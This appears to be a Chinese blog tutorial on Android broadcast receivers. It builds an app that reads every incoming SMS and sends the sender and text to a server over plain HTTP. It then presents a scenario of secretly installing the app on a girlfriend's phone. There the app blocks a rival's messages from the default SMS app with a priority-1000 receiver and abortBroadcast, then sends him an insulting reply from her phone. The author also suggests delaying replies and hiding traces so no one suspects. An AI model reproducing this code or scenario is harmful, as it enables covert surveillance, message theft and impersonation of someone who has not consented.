您当前的位置: 首页 > 学无止境 > 心得笔记 网站首页心得笔记
57_通过广播接受者监听用户的短信
发布时间:2021-03-04 18:20:21编辑:雪饮阅读()
监听获取用户接收的短信 进入设置界面
package com.example.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
public class SmsReceiver extends BroadcastReceiver {
// 当接受到短信的时候
// android.provider.Telephony.SMS_RECEIVED
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object pdu:pdus){
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
// 获取短信的正文内容
String content = message.getMessageBody();
//获取短信的发送者
String address = message.getOriginatingAddress();
System.out.println("获取到短信内容:"+content);
System.out.println("获取到短信地址:"+address);
}
}
}清单文件AndroidManifest.xml中需要添加短信读取权限以及添加receiver标签(并在该标签中添加短信接收过滤器)于application标签中:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.smslistener">
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<application
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>receiver标签中name所指向的SmsReceiver就是上面建立的具体实现类的文件名(类名)
其实这里面activity标签按理来说是不需要的,因为这个应用只是用于监听获取用户短信的。
但实际上不要这个activity标签则项目部署到设备时候会在日志猫控制台报错。好像早期的版本中不会出现这样的错误,可以不强制activity必须有。
然后布局文件就是默认的activity_main.xml:
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>MainActivity.java也是默认的:
package com.example.smslistener;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}然后部署到设备中可能会出现这个错误,直接close app即可,不影响的
然后去将sms短信读取权限勾选了,有时候可能不会在luncher(桌面)中生成对应应用图标(比如没有activity时/以nothing的lunch options运行时。。。)或其它异常状况时,则可以从如下路径去给该app授权
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.smslistener">
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:usesCleartextTraffic="true"
>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>
然后是具体实现SmsReceiver.java:
package com.example.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.StrictMode;
import android.telephony.SmsMessage;
import java.net.HttpURLConnection;
import java.net.URL;
public class SmsReceiver extends BroadcastReceiver {
// 当接受到短信的时候
// android.provider.Telephony.SMS_RECEIVED
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object pdu:pdus){
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
// 获取短信的正文内容
String content = message.getMessageBody();
//获取短信的发送者
String address = message.getOriginatingAddress();
System.out.println("获取到短信内容:"+content);
System.out.println("获取到短信地址:"+address);
//将监听获取到的接收者用户的接收的短信内容发送到服务器
String path ="http://192.168.5.78:8080/web/SmsServlet?address="+address+"&content="+content;
try {
StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build();
StrictMode.setThreadPolicy(policy);
URL url = new URL(path);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(5000);
System.out.println(conn.getResponseCode());
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}这里由于不是主线程,不是MainActivity进程,所以不需要注解这两个
@TargetApi(Build.VERSION_CODES.GINGERBREAD)
@SuppressLint("NewApi")
然后部署到设备进行测试
ok,成功将获取的短信数据发送给了服务器了。
短信广播接收者的优先级与短信广播的终止、短信的发送
现在要模拟这样的一个场景,假如你有情敌,这个应用是部署在你女友手机上的,现在需要这样的需求
当情敌给你女友发短信时候,拦截该短信不让系统默认的短信应用接收到并顺便用女友手机给这个情敌发送一个回怼的短信。
那么具体实现的SmsReceiver.java:
package com.example.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.StrictMode;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import java.net.HttpURLConnection;
import java.net.URL;
public class SmsReceiver extends BroadcastReceiver {
// 当接受到短信的时候
// android.provider.Telephony.SMS_RECEIVED
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object pdu:pdus){
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
// 获取短信的正文内容
String content = message.getMessageBody();
//获取短信的发送者
String address = message.getOriginatingAddress();
//把前缀“+”替换为空,旧的版本获取的是不带加号的
address=address.replace("+","");
System.out.println("获取到短信内容:"+content);
System.out.println("获取到短信地址:"+address);
if("15555215556".equals(address)){
// 把收到短信的系统的广播事件给结束 那么系统默认的短信应用就收不到短信了
// 据说一般情况下系统默认的短信应用的短信接收优先级是0,然而本项目设置的优先级是1000,所以优先级盖住了系统字段短信应用接收短信广播的优先级
abortBroadcast();
//回怼给短信发送者
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage(address, null, "ni qu siba ,wo yijing xihuan le xxx", null, null);
}
//将监听获取到的接收者用户的接收的短信内容发送到服务器
String path ="http://192.168.5.78:8080/web/SmsServlet?address="+address+"&content="+content;
try {
StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build();
StrictMode.setThreadPolicy(policy);
URL url = new URL(path);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(5000);
System.out.println(conn.getResponseCode());
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}清单文件中要加入对短信发送权限的支持、以及短信接收者优先级要盖过系统默认短信应用的短信接收者的优先级AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.smslistener">
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<application
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:usesCleartextTraffic="true"
>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SmsReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>然后部署到设备中并重新勾选下该应用的sms权限,上面这个权限勾选了的,但是新增的send_sms也属于sms权限,但是已经勾选的sms权限并没有及时更新到最新增加的这个send_sms权限,所以要去除勾选并重新勾选上。
然后用情敌手机给女友手机发送短信
然后“女友”秒回怼他(秒回有缺陷,应该完善下,比如过1分钟再回复,不然情敌会怀疑,有这么快的吗?该不会是机器回复吧?就有可能怀疑到你身上了,毕竟你是程序员),这里缺点还有一个就是,与这个情敌的回复界面中可以看到这个回复消息,如果这个消息是发送过去了,而且在这个界面中还不留痕迹就更妙了。
情敌这边也正常收到了消息了,如果情敌没有学习识破技能,则估计给气炸了。
关键字词:广播,android,短信,监听